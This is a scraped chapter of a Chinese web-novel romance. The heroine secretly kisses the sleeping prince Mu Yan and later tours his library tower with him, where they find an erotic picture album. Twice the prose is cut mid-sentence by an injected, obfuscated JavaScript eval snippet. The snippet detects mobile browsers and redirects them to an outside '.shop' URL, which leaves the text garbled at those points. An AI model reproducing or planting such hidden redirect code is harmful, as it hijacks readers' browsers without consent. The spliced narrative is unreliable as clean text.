不必再自欺欺人,江沁月坦然承认,无可救药的是她自己。 她喜欢穆衍,喜欢上了这个被她亲手创造出的角色。 这听起来有些荒谬,可那又如何?她也从未想过有一天会来到这里,会与他朝夕相处。 人非草木,她亦不是铁石心肠,她无法对穆衍千般万般的好视而不见,无动于衷。 江沁月不由自主地向他靠近,仿佛想要将他看得更清楚些。 鬼使神差地,她倾身吻上了他的唇。 本想一触即离,却又贪恋这片刻的温存。 江沁月怕惊醒睡梦中的穆衍,故而这个吻只是轻柔克制的触碰,不似他那夜意乱情迷的唇齿纠缠。 维持着这个别扭的姿势并不好受,但她也不敢乱动,连呼吸都放得很轻。 然而她还是莫名有种趁人之危的感觉,心脏扑通扑通狂跳,像是要冲破胸腔。 马车在行进中碾过一块小石头,忽然轻微地颠簸了一下。 “唔!”江沁月唇齿一磕碰,把自己咬出了血,忍不住闷哼出声。 她如梦初醒般惊慌地起身退到一边,盯着穆衍又看了好一会儿,确定他真的没醒后,才总算是松了口气。 仅此一次——江沁月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791183|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在心里告诫自己。 仅此一次,她不去想什么任务,纵容自己任性随心一回。 她刻意不去想,穆衍对她是何情意,毕竟即使他们两情相悦,也注定不可能长相厮守。 这个吻,这份情,都只会是她一人知晓的秘密。 …… 等到他们入城时已是深夜,京城的长街上早已空无一人。 如走时一样,云霞将马车停在了一条隐蔽小巷中,几人步行从偏门回了王府。 虽说离开了两月,但京城的王府一直有人在细致地照看打扫着,如今与离去时也别无二致。 窗明几净纤尘不染,连花木的枝丫都被修剪得整整齐齐,院中一年四季都有不同的香花盛放。 穆衍先把她送回了清秋苑,再自己回了梧桐苑去。 江沁月在屋里四下看了看,发现一切如旧,只是桌上多了几封摞得整整齐齐的信件。 她拆开这些信件看了两眼,果然也没什么大事,是凌觉、赵昭兰他们来信问过她安好,让她回来了去邀月轩小聚。李娴也来了封信,告知她《四时杂谈》夏至篇已刊发,反响很是不错。 日夜兼程赶回,江沁月已经累得不行,草草洗漱一番便上了床。 她如往常一样,准备将手机塞回枕头下面,却忽然想起什么,急急忙忙点开了和漆桐的聊天界面。 看见最后一段聊天记录依旧停留在之前,她长舒一口气。 在马车上头脑一热,竟差点忘了漆桐是能监视她这边情况的,要是被她看到自己亲了穆衍,定会狂轰滥炸发消息把她骂个狗血淋头。 江沁月拿着手机把玩了两下,还是只发信息告诉漆桐自己回京了,没再多说别的什么。 好不容易有机会联系上她,江沁月却有些做贼心虚,之前想问的话也不再问得出口。 翌日一早,穆衍便出门去找了穆灼,下午便听闻太子殿下带人出京,往青州去了。 剿匪自然不用穆灼亲自前往,他派了得力官员带人马去义水那边,该剿灭的剿灭,能招安的招安。而穆灼本人是奔着州府去的,誓要肃清青州地方官员。 江沁月也没闲着,早上先去书坊见了李娴,她果然将上下一切都打点得很是妥当。 平日里书坊中其实也没什么事务,但她也几乎日日都来,免得在家中受气。 江沁月踌躇片刻,还是委婉地告诉李娴,她父亲情况不妙恐要遭祸,让她自己早做打算。 李娴闻言并没有太大反应,她虽厌恶家族,但也看得明白,李家要彻底垮台不是一朝一夕能促成的。 “你要不要带你娘搬到王府这边来避一避?王府里空房多的是,殿下不会有意见的。”江沁月好心道。 李娴摇摇头:“你的好意我心领了,只是不管李家是否被举族牵连,如此行径只会让我和我娘被戳着脊梁骨骂。” 世家大族休戚与共,江沁月意识到自己此言有欠考量,忙连声道歉。 李娴则是真的无所谓,一笑而过便与她说起了别的事,从楚阳的风土人情聊到遭遇山匪的惊心动魄。 下午江沁月又去了邀月轩,见到了赵昭兰和凌觉,直到用了晚饭才离开。 谁知一回到清秋苑,就看见穆衍正等着她。 “殿、殿下。”江沁月低低唤了一声,却感到脸红心跳,不敢正眼看他。 她能坦然面对自己的心意,却无法再轻松自如地面对他。 60. 久思远望欲言止 “你回来了,沁月,一起用晚膳吧。”穆衍笑着招呼她。 “啊,我去了邀月轩,在那边和他们吃过了……” “他们?” “就昭兰姐和凌觉嘛,没其他人,”江沁月道,“殿下,我是真的吃饱了,要不……” 她本想说让他自个儿回去吃,穆衍却打断了她的话:“无妨,你陪着我就行,待会儿用完膳我带你去个地方。” 江沁月也不好再说什么,只得和他一道坐在了桌前。 很快下人们便将饭菜端上了桌,穆衍边用膳边和她闲侃。 “听你方才所言,凌觉还在邀月轩说书?” “是啊,怎么了吗?”江沁月有些不明所以。 “我听太子殿下说,凌觉的父亲想让他入朝为官。”穆衍道。 江沁月对此毫不意外:“我知道,他跟我说过,但他本人无心仕途嘛。” 穆衍摇摇头:“太子殿下说,凌觉自己去找过他,想走他的门路。” 凌觉的父亲当初站错了队,如今在朝中处境艰难,等到来日太子登基,更是免不了被清算。 此刻转投太子为时已晚,但与其坐以待毙,不如将不涉政事的儿子引入太子麾下,为其效犬马之劳。 若他能堪其用,自己便功成身退,让凌觉挑起家族大梁。 “太子殿下只说凌觉是个有真才实学的,并未说如何安置他,”穆衍轻哼一声,“他就算再有才,太子也未必肯用他。” “这他倒是没提过……”江沁月不明白穆衍跟她说这些做什么。 “邀月轩的说书生意若是想长久地做下去,恐怕要早做打算,找个人来替他。”穆衍提醒道。 “原来殿下是想说这个,不过他若是不想再继续说书的话,肯定会提前告知我和昭兰姐的。”江沁月道,“而且他讲得幽默风趣又颇具个性,还善口技,还真难找出比他更厉害的来替他了。” 穆衍思忖片刻,还是忍不住道:“总而言之,最好还是不要与他这种人有太多牵扯。” “多谢殿下提醒,我有分寸。”江沁月含糊其辞道。 穆衍似乎对凌觉此人颇有成见,她不知其中缘由,但也没打算与他就“凌觉为人究竟如何”这一话题展开一场辩论赛。 在她印象中,二人似乎也无甚交集,难道是之前凌觉讲了穆衍的事恰好被他听见那次,单方面得罪了他? 可是看穆衍当时的态度,应该确实不太在意此事…… “好了,我们走吧。”穆衍放下碗筷,出声唤回了她的思绪。 他没说去哪,江沁月也懒得问,跟着他走了一段后她发现,这是往书坊那边去的路。 不过走到那座九层高的藏书楼前,他们便停下了脚步。 “从楚阳运回来的藏书典籍比我们早到,今日已全部归置好了,”穆衍道,“恰好你也没进过久思阁,我便想着带你来看看。” 江沁月点点头,跟着他进入了久思阁内部。 久思阁原是皇家藏经阁,一二楼都是之前存放的经书,鲜少有人打理,二人拾阶而上,直接去了三楼。 橙黄的暖光将整层楼都照得亮堂堂的,放眼望去,这里和现代的图书馆也所差无几,浩如烟海的藏书整整齐齐地摆放在一排排顶天立地的木制书架上,另一边有几张宽阔的书案,供人在此处查阅书籍。 空气中弥漫着陈年书卷的纸墨香气,还夹杂着淡淡的药香,仔细一看,是每个书架上都挂着装有防虫草药的药囊。 “三楼到五楼都是原先就有的藏书,再上面就是这次从楚阳带回来的。”穆衍介绍道。 江沁月应了一声,看着间隔而立的灯罩里摇曳的烛光,忽然想起一个问题。 在全是易燃物的藏书楼里搞这么多明火,真的不会引起火灾吗? 这要是烧起来那可真是了不得了。 她语重心长地提醒穆衍要注意消防隐患,还问他为什么不弄些夜明珠之类的来取代明火照明。 “且不说夜明珠的亮度实在有限,一颗夜明珠便是价值连城,我要是有这么多,那也是富可敌国了。”穆衍闻言不禁失笑,“哪怕是陛下,恐怕也凑不齐如此数量,沁月你也太看得起我了。” 江沁月讪笑两声:“那殿下手中可有如此珍宝?” “好像是有一颗,是父王从前得来的赏赐,”穆衍回想了一下,“应该是在王府的库房里,你想要的话,我叫人找出来给你送去。” “殿下可别开玩笑了,我如何受得起,”江沁月受宠若惊,又按捺不住自己的好奇心,“若能有幸一睹,开开眼界,我也就知足了。” 穆衍笑了笑,接着道:“至于防火一事,你也不必担心。灯罩是特制的,火烧不穿,而且久思阁中的所有木材都涂有防火涂料。” “况且平日夜里无事也不会点灯,今夜因为要带你来,我才让人把灯都点上了。” 江沁月暗骂自己尽说些傻话:“殿下见谅,是我杞人忧天了。” 穆衍带她乘兴而来,虽然她不知道这久思阁里有什么好看的,但她也不忍叫人扫兴,便穿行于一排排书架间,时不时取下两本书来翻看一下。 这里的藏书都是分门别类放好的,每个书架的最顶上都挂着一个小木牌以作标注,但烛光不足以照亮那么高的地方,江沁月只能瞎子摸象,把书拿出来才看得清是什么类型什么内容。 结果她一连翻看了十余册,都是些晦涩难懂的文言典籍。 一开始她还装模作样地拜读几页再物归原位,若是翻到《诗经》《论语》之类在读书时学过的篇章,还煞有介事地和穆衍理论两句。 后来她转念一想,自己的人设也就是个能写话本的寡妇,又不考状元,太有文化反而显得不正常,便也懒得装了,看见满篇“之乎者也”便毫不犹豫地塞回书架上。 穆衍则一直跟在她身后,也不催促。 走马观花地逛过了四五个书架,江沁月终于翻到了一本画册,也如她所料,这个架子上都是各类花鸟鱼虫、山水人物的画册。 穆衍瞧她对此颇有兴致,站在她背后略微俯身,也看向她手中的画册,颀长的身形在画册上投射出一片阴影。 江沁月本就站在书架跟前,他一倾身靠近,她便被夹在这狭小的方寸之间动弹不得。 他身上馥郁的熏香气息缭绕在她四周,盖过了楼里书卷纸墨的气味,江沁月莫名觉得有些喘不上气,一片静谧中她仿佛能听见自己狂乱的心跳声。 她已无心细细观摩,将手上的画册放了回去,又从里侧书架上随手抽出一本。 “殿下,这里光线太暗了,我们拿出去看吧。” 江沁月寻了个借口逃之夭夭,稍稍平复下心情后,她看向这本随手抽出的画册。 画册的封皮装帧得十分精美,但是上面并未署名,江沁月也不甚在意,心不在焉地随手翻了开来。 看清画上的内容后,江沁月蓦地瞪大了双眼,忍不住倒吸一口凉气。 这画的笔触十分细腻,着色浓淡相宜,画中人的神情动作都栩栩如生,只是这一男一女赤诚相见彼此纠缠…… 这这这……这是一本春宫图册! 江沁月“啪”地一声合上了手中的画册,回过头正对上穆衍错愕的眼神,想必他也是看见画册里鱼水之欢的香艳场面了。 二人一时相对无言。 若是放在以前,江沁月定会出言调戏一下穆衍,可是现在她自己心怀鬼胎,说什么玩笑话都感觉变了味道。 手中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807626|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画册仿佛变成了烫手山芋,江沁月逃也似的奔向书架,将画册放了回去。 “咳咳……殿下,我们接着往楼上去看看吧。”她故作镇定道。 “嗯,走吧。” 江沁月注意到,穆衍的脸上也浮现出了淡淡的红晕,连带着还红了耳朵。 四、五楼的整体布局与三楼差不多,只是四楼的书案上堆叠着不少书籍,以及一些各式各样的工具。 “是秘书省来整理修复古籍的几位官员,”穆衍解释道,“既然已把楚阳的书带了回来,那他们也得在久思阁再多留些时日了。” 江沁月不敢再乱来,怕再拿出些什么惊世骇俗的著作,两人便闲逛着向楼上走去。 六楼开始便基本上都是他们此行从楚阳带回来的书了,不过这些书都还存放在打包的书箱里,并未上架。 满地的书箱让人几乎无从下脚,他们随意看了看便踏着木质楼梯接着向楼上走去。 “我让他们直接整理完了再上架,省得搬来搬去麻烦得很。” 穆衍边走边随口闲聊:“待到入了秋凉快些,还得寻个晴天把这些书都拿出去晒晒。” 江沁月啧啧感叹,几个月过去了他们才整完了一层楼的书籍,那这多留的时日恐怕得以年为单位了。 不过在久思阁肯定是不用面对直属上官了,穆衍肯定也不大会管他们,悠哉干活乐呵领钱,仔细一想这工作还挺美滋滋…… 层层盘旋的楼梯到了尽头,不知不觉间,他们已经步上久思阁的顶层。 出乎意料的是,这层楼空荡荡的,连书架都没有,只有几盏落地灯忽明忽暗地兀自亮着。 “下面几层已经够用,这层便空着了。”此处空旷,穆衍说话时都带上了回声。 久思阁中每层楼的四面都有窗户用以通气,江沁月和他走到一扇雕花窗前站定,她伸手推开窗扉,夏末夜里的徐徐凉风扑面而来。 夏至早已过去,白昼正在悄悄缩短,此刻已是华灯初上,临窗而立时,便能将整个京城的繁华夜景尽收眼底。 “哇!”江沁月小小地惊呼一声,微微瞪大的双眼也被下方的阑珊灯火映得亮晶晶的。 她当然不是没见过高楼大厦,现代世界的城市本就是鳞次栉比的钢铁森林,只是高楼林立,反倒叫人看不见远方的风景。 比如说站在公司的落地窗前,只能看见隔壁写字楼的玻璃幕墙。 而在这里,她的视线再无阻碍,京城纵横交错的街巷都在脚下,极目远眺,甚至能望见巍峨雄伟的皇宫。 身侧穆衍忽然出声道:“喜欢吗?” “什么?”江沁月心跳漏了一拍,转头看他。 她现在一听到“喜欢”二字便宛如惊弓之鸟,生怕自己的旖旎心思被发现。 见穆衍负手而立望着远方,她才反应过来他是在问自己喜不喜欢这鸟瞰的风光。 “登高望远,景色自然是极好的。”江沁月道。 “京城里的确也没几处能看见这般好光景了。”穆衍的语调里带着微微上扬的得意。 他也看向江沁月,浅笑道:“逢年过节会更为热闹好看,待新年时我们再一起上来。” 江沁月避开了他的视线,胡乱“嗯”了一声。 她却不敢想那么多以后。 “沁月,我……” “殿下……” 默然片刻后,二人同时开了口,又不约而同止了声。 穆衍示意让她先说,江沁月便低声道:“殿下,我今日来回奔波有些乏累,想早点回去歇息。” 见她神色疲倦,有些心不在焉的样子,穆衍也不再多言,将酝酿已久的话语都吞回了肚子里。 他想,来日方长,有些话晚些再说也不迟。